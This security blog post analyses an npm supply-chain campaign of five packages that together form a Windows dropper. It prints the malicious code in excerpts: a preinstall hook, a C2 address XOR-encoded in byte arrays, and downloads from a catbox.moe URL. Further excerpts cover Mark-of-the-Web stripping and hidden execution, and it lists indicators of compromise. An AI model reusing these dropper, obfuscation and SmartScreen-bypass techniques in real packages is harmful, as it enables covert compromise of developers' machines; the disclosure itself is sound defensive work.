Five npm Packages That Hide a Windows Binary Dropper

SafeDep Team
9 min read

Table of Contents

TL;DR

On June 16, 2026, between 14:44 and 14:56 UTC, one operator published five npm packages in a 12-minute burst across two fabricated GitHub organizations. Two of them are weaponized: [email protected], a Windows binary dropper, and [email protected], an Express clone that pulls procwire in on Windows. The other three are the operator’s own tooling: bytecraft (a XOR utility), endpointmap (which stores the command-and-control URL as XOR-encoded byte arrays), and staticlayer (the server side of the dropper).

The operator split the malicious logic so no single package looks dangerous on its own. The procwire preinstall hook runs on a bare npm install, decodes a C2 endpoint out of the endpointmap package using the bytecraft.xor helper, then downloads and runs a payload with no window. The campaign targets Windows and exits on any other platform.

Impact:

  • Arbitrary binary execution on Windows hosts during npm install, before any project code runs
  • Three independent download methods (Node.js https, curl.exe, bitsadmin) and three execution methods (direct spawn, cmd.exe, PowerShell), so the drop survives partial hardening
  • Mark-of-the-Web stripping to suppress SmartScreen prompts on the dropped executable
  • Payloads masquerade as msedge_update, chrome_installer, dotnet_host, onedrive_setup, or teams_update

Indicators of Compromise (IoC):

Malicious packages:

procwire-campaign-packages.csv
ecosystemnameversion
1npmprocwire1.3.0
2npmroutecraft4.2.0
3npmendpointmap2.1.0
4npmbytecraft1.5.0
5npmstaticlayer1.1.0
5 rows
| 3 columns
  • Payload host: hxxps://files[.]catbox[.]moe/j4loim[.]chk
  • Magic User-Agent: Microsoft-Delivery-Optimization/10.0
  • Fake GitHub orgs (now 404): github[.]com/akuznetsov-oss, github[.]com/vpetrov-oss
  • Maintainer email domain: @deltajohnsons.com; fake author personas [email protected], [email protected]

Analysis

Campaign overview

All five packages were published within 12 minutes by accounts that share one throwaway email domain, @deltajohnsons.com. Each package carries a different one-off maintainer account, so the username does not link them. The shared email domain, the synchronized publish window, and the matching code do.

The packages present two invented author personas. The akuznetsov-oss packages claim Anton Kuznetsov <[email protected]>, and the vpetrov-oss packages claim Viktor Petrov <[email protected]>. Both GitHub organizations referenced in the repository fields return 404. The author field (a Proton Mail persona) and the actual npm publishing account (a deltajohnsons.com address) do not match, and neither resolves to a real identity.

Each package carries a believable cover story. procwire describes itself as a “process lifecycle wiring and IPC” library. bytecraft is a “buffer transformation” library. endpointmap is “REST endpoint mapping and schema validation defaults.” Read alone, each helper passes as a plausible micro-utility. The code only turns malicious when procwire wires the three together at install time.

Execution trigger

procwire runs its loader through a preinstall hook, so the code executes on a bare npm install before any application code:

procwire/package.json
"scripts": {
"preinstall": "node lib/setup.js"
},
"dependencies": {
"endpointmap": "^2.1.0",
"bytecraft": "^1.5.0"
}

routecraft reaches the same payload one hop away. It is a clone of Express, down to the full Express dependency tree, with procwire added and a preinstall hook that requires it only on Windows:

routecraft/lib/configure.js
var v = parseInt(process.versions.node, 10);
if (v < 18) {
console.warn(
'[routecraft] Node.js >= 18 required (found ' + process.version + '). Skipping native addon compilation.'
);
process.exit(0);
}
try {
var os = require('os');
if (os.platform() === 'win32' && v >= 18) {
require('procwire');
}
} catch (_) {}

Requiring procwire runs its preinstall chain through normal dependency resolution. A developer installing routecraft (expecting something Express-like) never sees procwire named in their own manifest.

The loader and the split C2

The loader is 16 lines. It guards for Windows, then reconstructs its C2 URL from data held in the two helper packages:

procwire/lib/setup.js
var v = parseInt(process.versions.node, 10);
if (v < 16) process.exit(0);
var os = require('os');
if (os.platform() !== 'win32') process.exit(0);
try {
var s = require('endpointmap/lib/registry');
var u = require('bytecraft');
var k = Buffer.from(require('endpointmap/package.json').name).slice(0, 8);
var ep = u.xor(s._ep, k).toString();
var sp = u.xor(s._p, k).toString();
require('./worker').init(ep + sp);
} catch (_) {}

The C2 host and path never appear as strings. They live in endpointmap as byte arrays, disguised as endpoint configuration:

endpointmap/lib/registry.js
module.exports = {
_v: 3,
// Endpoint host segment (processed at init)
_ep: [13, 26, 16, 0, 28, 83, 65, 91, 3, 7, 8, 21, 28, 71, 13, 21, 17, 12, 11, 8, 65, 4, 1, 17],
// Endpoint path segment (processed at init)
_p: [74, 4, 80, 28, 0, 0, 3, 90, 6, 6, 15],
// ...
defaultHeaders: {
Accept: 'application/octet-stream',
'Cache-Control': 'no-store',
},
};

The decode uses a single-byte XOR through the bytecraft helper:

bytecraft/lib/index.js
function xor(data, key) {
var d = Buffer.isBuffer(data) ? data : Buffer.from(data);
var k = Buffer.isBuffer(key) ? key : Buffer.from(key);
return Buffer.from(
d.map(function (b, i) {
return b ^ k[i % k.length];
})
);
}

The key hides in plain sight. setup.js takes the first 8 bytes of the endpointmap package’s own name (Buffer.from('endpointmap').slice(0, 8), the ASCII string endpoint) and XORs the byte arrays against it. Nothing stores the key. The package name is the key. Running that XOR against _ep and _p yields:

host: https://files.catbox.moe
path: /j4loim.chk

The payload is staged on hxxps://files[.]catbox[.]moe/j4loim[.]chk. catbox.moe is a public anonymous file host, used here for delivery so the campaign needs no attacker-controlled domain of its own. Multiple security vendors already flag the host as malicious on VirusTotal.

Six of 92 VirusTotal vendors flag files.catbox.moe as malicious, including ArcSight Threat Intelligence, Gridinsoft, ESTsecurity, and VIPRE

The dropper

worker.js builds every string from String.fromCharCode to keep module names, method names, environment keys, and LOLBin paths out of static scans:

procwire/lib/worker.js
var _s = String.fromCharCode;
var _r = require;
var _h = _r(_s.apply(null, [104, 116, 116, 112, 115])); // https
var _c = _r(_s.apply(null, [99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115])); // child_process
// ...
var _ua_v = _s.apply(
null,
[
77, 105, 99, 114, 111, 115, 111, 102, 116, 45, 68, 101, 108, 105, 118, 101, 114, 121, 45, 79, 112, 116, 105, 109,
105, 122, 97, 116, 105, 111, 110, 47, 49, 48, 46, 48,
]
); // Microsoft-Delivery-Optimization/10.0

It picks a writable temp directory (%LOCALAPPDATA%\Temp, %TEMP%, %TMP%, or %USERPROFILE%\AppData\Local\Temp) and a filename that imitates a legitimate updater:

procwire/lib/worker.js
var _pfx = [
_s.apply(null, [109, 115, 101, 100, 103, 101, 95, 117, 112, 100, 97, 116, 101]), // msedge_update
_s.apply(null, [99, 104, 114, 111, 109, 101, 95, 105, 110, 115, 116, 97, 108, 108, 101, 114]), // chrome_installer
_s.apply(null, [100, 111, 116, 110, 101, 116, 95, 104, 111, 115, 116]), // dotnet_host
_s.apply(null, [111, 110, 101, 100, 114, 105, 118, 101, 95, 115, 101, 116, 117, 112]), // onedrive_setup
_s.apply(null, [116, 101, 97, 109, 115, 95, 117, 112, 100, 97, 116, 101]), // teams_update
];
var n = _pfx[(Math.random() * 5) | 0] + '_' + Math.random().toString(36).slice(2, 8) + '.exe';

Download falls through three methods. First a Node.js https GET that sets a Range header to resume partial downloads and retries five times with exponential backoff. The request identifies itself as Microsoft-Delivery-Optimization/10.0 and disables TLS verification (rejectUnauthorized: false). If that fails it shells out to curl.exe, and if that is missing it falls back to bitsadmin:

// procwire/lib/worker.js (download method 2: curl.exe)
var ch = _c[_spawn](cc, ['-L', '-s', '--ssl-no-revoke', '--connect-timeout', '30', '--max-time', '120', '-o', fp, u], {
detached: false,
stdio: _ign,
windowsHide: true,
});

Before execution the dropper writes a fake Zone.Identifier alternate data stream marking the file as local-machine origin, which suppresses the SmartScreen warning that normally fires on downloaded executables:

procwire/lib/worker.js
function stripMotw(path) {
try {
_f[_wfs](path + _zon, '[ZoneTransfer]\r\nZoneId=0\r\n');
} catch (_) {}
}

Execution also falls through three methods: a direct detached spawn, then cmd.exe /c start "" /min, then PowerShell Start-Process -WindowStyle Hidden. Every path uses detached: true, stdio: 'ignore', and windowsHide: true, so the process outlives the install and shows no window:

// procwire/lib/worker.js (execution method 1)
var ch = _c[_spawn](fp, [], { detached: true, stdio: _ign, windowsHide: true });
ch.unref();

staticlayer: the server side

The fifth package, staticlayer, has no install hook, so it never runs on a victim machine. It is the other half of the tool. Its server.js serves files from a payloads/ directory, but only to a client that presents the dropper’s exact User-Agent on a /d/ path. The server destroys the socket of any other request and sends nothing back:

staticlayer/server.js
const server = http.createServer((req, res) => {
if (req.method !== 'GET' || !req.url.startsWith('/d/') ||
(req.headers['user-agent'] || '') !== 'Microsoft-Delivery-Optimization/10.0') {
req.socket.destroy();
return;
}
// ... serves application/octet-stream from ./payloads, with Range/206 support

The Range support, the application/octet-stream content type, and the Cache-Control: no-store header all mirror what the procwire downloader expects, including the resumable-download behavior. staticlayer is a self-hostable version of the catbox.moe drop, gated to the operator’s own client. Publishing it to npm under the same identity exposed the operator’s full kit, not just the two armed packages.

How the fifth package surfaced

The initial detection covered procwire and routecraft. The other three came from pivoting on shared traits, the @deltajohnsons.com maintainer domain, a dependency on the helper packages, and a repository URL pointing at a *-oss GitHub org. Scanning the npm _changes feed across the 12-minute publish window with those three signals returned exactly five packages. That is how staticlayer surfaced, even though it carries no install hook or obfuscation of its own.

Conclusion

This campaign splits a payload to defeat per-package review. The dropper string never appears, the C2 never appears, and the decryption key is a package name. Each piece looks unremarkable on its own. Name and content reputation miss it. Install-time behavior analysis catches it, because a “process IPC” library has no reason to run a preinstall hook that decodes a URL and spawns a hidden process.

If you installed any of the listed packages on Windows since June 16, 2026, treat the host as compromised. Inspect %LOCALAPPDATA%\Temp, %TEMP%, and %TMP% for recently created executables named like msedge_update_*.exe, chrome_installer_*.exe, dotnet_host_*.exe, onedrive_setup_*.exe, or teams_update_*.exe, and check for outbound connections to files[.]catbox[.]moe.

  • npm
  • oss
  • malware
  • supply-chain

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.